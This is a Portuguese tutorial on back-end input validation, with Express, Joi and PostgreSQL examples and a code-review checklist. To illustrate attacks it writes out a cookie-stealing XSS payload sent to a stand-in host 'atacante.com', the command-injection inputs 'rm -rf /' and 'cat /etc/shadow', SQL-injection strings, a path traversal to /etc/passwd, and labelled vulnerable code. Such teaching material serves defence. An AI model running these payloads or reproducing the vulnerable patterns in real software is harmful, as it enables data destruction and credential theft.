Validação de entrada: nunca confie no cliente

1. Por que "nunca confie no cliente"?

Em segurança de software, o cliente é qualquer entidade externa ao seu servidor: navegadores, aplicativos móveis, APIs de terceiros, ferramentas de linha de comando ou até mesmo sistemas internos que não passaram por sua validação. O princípio fundamental é: nunca assuma que os dados recebidos são seguros, válidos ou bem-intencionados.

Ataques clássicos exploram exatamente essa confiança ingênua:

  • Injeção SQL: Um campo de login recebe ' OR '1'='1 e a query se torna SELECT * FROM usuarios WHERE senha = '' OR '1'='1', retornando todos os registros.
  • Cross-Site Scripting (XSS): Um formulário de comentários aceita <script>document.location='https://atacante.com/roubar?cookie='+document.cookie</script>, executando JavaScript malicioso no navegador de outros usuários.
  • Command Injection: Um campo de busca de arquivos recebe ; rm -rf /, executando comandos arbitrários no servidor.

A validação no front-end (JavaScript no navegador) serve apenas para usabilidade: feedback imediato ao usuário, redução de requisições inválidas. Ela não oferece segurança, pois qualquer um pode desabilitar JavaScript, usar ferramentas como curl/Postman, ou interceptar e modificar requisições. O desenvolvedor back-end é a última linha de defesa contra dados maliciosos.

2. Tipos de validação de entrada

A validação deve ser aplicada em múltiplas dimensões:

Validação de tipo, formato e tamanho:
- Strings: comprimento máximo, charset permitido (ex.: apenas ASCII imprimível)
- Números: inteiros vs. ponto flutuante, limites mínimo e máximo
- Datas: formato ISO 8601, validade lógica (ex.: data não pode ser futura para data de nascimento)
- Campos binários: tamanho máximo em bytes, tipo MIME esperado

Validação semântica:
- CPF/CNPJ: validação de dígitos verificadores
- E-mail: estrutura básica (local@domínio), mas sem regex complexas — prefira validação por envio de confirmação
- Faixas de valores permitidos (ex.: idade entre 0 e 150)

Whitelist vs. Blacklist:
- Whitelist (lista de permissão): Define exatamente o que é aceito. Exemplo: ^[a-zA-Z0-9_]{3,20}$ para nomes de usuário. Mais segura.
- Blacklist (lista de bloqueio): Tenta bloquear padrões maliciosos conhecidos (ex.: ' OR 1=1). Sempre incompleta e frágil.

Sempre prefira whitelist.

3. Ataques comuns por falta de validação

Injeção SQL:

// CÓDIGO VULNERÁVEL
const query = "SELECT * FROM usuarios WHERE email = '" + req.body.email + "'";
db.execute(query);

Com entrada email = "admin@exemplo.com' --", a query se torna:

SELECT * FROM usuarios WHERE email = 'admin@exemplo.com' --'

O -- comenta o resto da query, ignorando a verificação de senha.

Cross-Site Scripting (XSS):

// CÓDIGO VULNERÁVEL
res.send("<h1>Bem-vindo, " + req.query.nome + "</h1>");

Com nome = "<script>alert('XSS')</script>", o script é executado no navegador da vítima.

Path Traversal:

// CÓDIGO VULNERÁVEL
const path = "/var/www/uploads/" + req.params.arquivo;
fs.readFileSync(path);

Com arquivo = "../../etc/passwd", o atacante acessa arquivos sensíveis.

Command Injection:

// CÓDIGO VULNERÁVEL
const cmd = "ping -c 1 " + req.body.host;
exec(cmd, callback);

Com host = "8.8.8.8; cat /etc/shadow", comandos arbitrários são executados.

4. Boas práticas de validação no back-end

Sempre valide no servidor, independentemente da validação client-side. Use bibliotecas consolidadas:

// Exemplo com express-validator (Node.js)
const { body, validationResult } = require('express-validator');

app.post('/usuario',
  body('email').isEmail().normalizeEmail(),
  body('senha').isLength({ min: 8 }).matches(/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)/),
  body('idade').isInt({ min: 0, max: 150 }),
  (req, res) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }
    // Processamento seguro...
  }
);

Normalize e sanitize antes de processar:
- Remova caracteres de controle (ASCII 0-31)
- Codifique Unicode para NFC (Normalization Form C)
- Sanitize contra injeção: use escape() ou bibliotecas específicas

5. Validação de entrada em APIs e formulários

Parâmetros de URL, query strings e cabeçalhos HTTP:

// Validação de query string
app.get('/api/usuarios', (req, res) => {
  const pagina = parseInt(req.query.pagina);
  if (isNaN(pagina) || pagina < 1) {
    return res.status(400).json({ erro: 'Página inválida' });
  }
  // ...
});

Payloads JSON/XML: Valide contra um esquema definido:

// Exemplo com Joi (Node.js)
const schema = Joi.object({
  nome: Joi.string().min(2).max(100).required(),
  email: Joi.string().email().required(),
  roles: Joi.array().items(Joi.string().valid('admin', 'user')).min(1)
});
const { error, value } = schema.validate(req.body);

Upload de arquivos:
- Verifique o tipo MIME real (não confie na extensão ou no Content-Type enviado)
- Limite o tamanho máximo
- Valide o nome do arquivo (remova ../, caracteres especiais)
- Armazene em diretório sem permissão de execução

// Validação de upload
const filetypes = /jpeg|jpg|png|gif/;
const mimetype = filetypes.test(file.mimetype);
const extname = filetypes.test(path.extname(file.originalname).toLowerCase());

if (mimetype && extname && file.size <= 5 * 1024 * 1024) {
  // Processar upload
}

6. Validação em diferentes camadas da aplicação

Controller vs. Model/Serviço:
- Controller: Validação de formato, tipos, presença de campos obrigatórios
- Serviço/Modelo: Validação semântica, regras de negócio, integridade referencial
- Banco de dados: Constraints como NOT NULL, CHECK, UNIQUE, chaves estrangeiras

Middleware de validação centralizada:

// Middleware reutilizável (Express.js)
function validarUsuario(req, res, next) {
  const { nome, email, senha } = req.body;

  if (!nome || nome.length < 2) {
    return res.status(400).json({ erro: 'Nome deve ter ao menos 2 caracteres' });
  }
  if (!email || !email.includes('@')) {
    return res.status(400).json({ erro: 'Email inválido' });
  }
  // ... mais validações

  next();
}

app.post('/usuario', validarUsuario, criarUsuarioController);

Validação em bancos de dados:

-- Exemplo PostgreSQL
CREATE TABLE usuarios (
  id SERIAL PRIMARY KEY,
  email VARCHAR(255) UNIQUE NOT NULL,
  idade INTEGER CHECK (idade >= 0 AND idade <= 150),
  nome VARCHAR(100) NOT NULL CHECK (nome ~ '^[a-zA-ZÀ-ÿ\s]+$')
);

7. Erros comuns ao implementar validação

Regex mal escritas para e-mail:
A regex ^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$ parece boa, mas permite e-mails como teste@a..b ou a@b.c (domínios de 1 caractere). A validação definitiva de e-mail é enviar um link de confirmação.

Confiar apenas em validação client-side:
Nunca use validação HTML5 (required, type="email") ou JavaScript como única barreira. Um curl simples ignora tudo.

Não validar entradas indiretas:
- Cabeçalhos HTTP: User-Agent, Referer, X-Forwarded-For
- Cookies: podem ser manipulados pelo cliente
- Resultados de cache: dados armazenados em cache podem estar corrompidos
- Metadados de arquivos: EXIF de imagens pode conter dados maliciosos

8. Conclusão e checklist de segurança

O princípio "nunca confie no cliente" é a base da segurança em aplicações web. Toda entrada — seja de formulários, APIs, cabeçalhos, cookies, arquivos ou bancos de dados externos — deve ser tratada como potencialmente maliciosa até prova em contrário.

Checklist para revisão de código:

  • [ ] Todos os campos de entrada são validados no servidor?
  • [ ] A validação usa whitelist sempre que possível?
  • [ ] Os tipos, formatos e tamanhos são verificados explicitamente?
  • [ ] A validação semântica (CPF, e-mail, faixas) está implementada?
  • [ ] As queries SQL usam prepared statements ou ORM com binding?
  • [ ] A saída é sanitizada contra XSS (escape de HTML, JSON, etc.)?
  • [ ] Uploads de arquivo têm validação de tipo MIME, tamanho e nome?
  • [ ] Headers HTTP e cookies são validados e sanitizados?
  • [ ] Há validação redundante em múltiplas camadas (controller, serviço, banco)?
  • [ ] Bibliotecas de validação são atualizadas e consolidadas?

Temas vizinhos para aprofundamento: sanitização de saída (output encoding), gerenciamento seguro de dependências, autenticação/autorização, upload seguro de arquivos, proteção contra CSRF e rate limiting.

Lembre-se: um desenvolvedor que confia no cliente está, na verdade, entregando as chaves do servidor para o atacante.

Referências